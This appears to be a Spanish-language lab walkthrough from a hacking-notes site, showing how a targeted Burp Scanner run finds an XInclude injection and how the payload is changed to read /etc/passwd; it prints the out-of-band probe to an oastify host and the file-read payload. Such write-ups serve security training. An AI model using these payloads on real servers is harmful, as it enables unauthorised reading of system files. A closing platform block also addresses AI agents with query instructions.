> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/essential-skills/quick-detection-with-a-target-scan.md).

# Detección rápida con un escaneo dirigido

### Descubriendo vulnerabilidades rápidamente con escaneo dirigido

#### Contexto del laboratorio

Este laboratorio contiene una vulnerabilidad para **leer archivos arbitrarios en el servidor**. / El objetivo es **recuperar el contenido del `/etc/passwd` archivo en menos de 10 minutos**.

Debido a esta restricción de tiempo, se recomienda usar **Burp Scanner** en lugar de una auditoría completa de la aplicación.

#### Restricción temporal

* Hay un \*\*contador de 10 minutos\*\* activo desde el inicio del laboratorio.
* Un escaneo completo del sitio puede ser demasiado lento.
* Por lo tanto, es preferible **dirigir inteligentemente los puntos de entrada potencialmente vulnerables**.

<figure><img src="/files/fcd95e1ea15f7fcb0710c4d9594d9836d63bab47" alt=""><figcaption></figcaption></figure>

#### Metodología

1. **Intercepta una solicitud HTTP relevante** con Burp Proxy.

<figure><img src="/files/8ebb55eccbd1b35cbdd2abc8210ddb00d4332161" alt=""><figcaption></figcaption></figure>

Analiza rápidamente la lógica de la consulta para identificar un endpoint interesante.

Ejecuta un escaneo dirigido mediante **Burp Scanner** en esta consulta específica.

<figure><img src="/files/babce398c4d947ee0aa11bcba6d07649292af2fc" alt=""><figcaption></figcaption></figure>

#### Configuración de escaneo de Burp

* Tipo de escaneo seleccionado: **Crawl y Audit**

<figure><img src="/files/a6b35e40920f3440f1582c7242f492ecf292b3b6" alt=""><figcaption></figcaption></figure>

* Modo : **Escaneo rápido**

Objetivo: identificar rápidamente un vector de ataque explotable

<figure><img src="/files/a674bfa6a39b468c1a2bfb01991fd2d4ef62a59a" alt=""><figcaption></figcaption></figure>

#### Vulnerabilidad identificada

El escaneo revela una vulnerabilidad de tipo **Inyección XML (XInclude)**.

<figure><img src="/files/451350089c12df302290d5ba6cd36b4002f5178e" alt=""><figcaption></figcaption></figure>

Carga útil inicial detectada por Burp Scanner:

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

Esto confirma que el servidor procesa **XInclude** entidades sin restricción.

#### Explotación: lectura de `/etc/passwd`

La carga útil se modifica para incluir un archivo local del sistema:

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/7af4ffe21cb74811ad03f863e7f6ccea1617ac70" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/essential-skills/quick-detection-with-a-target-scan.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
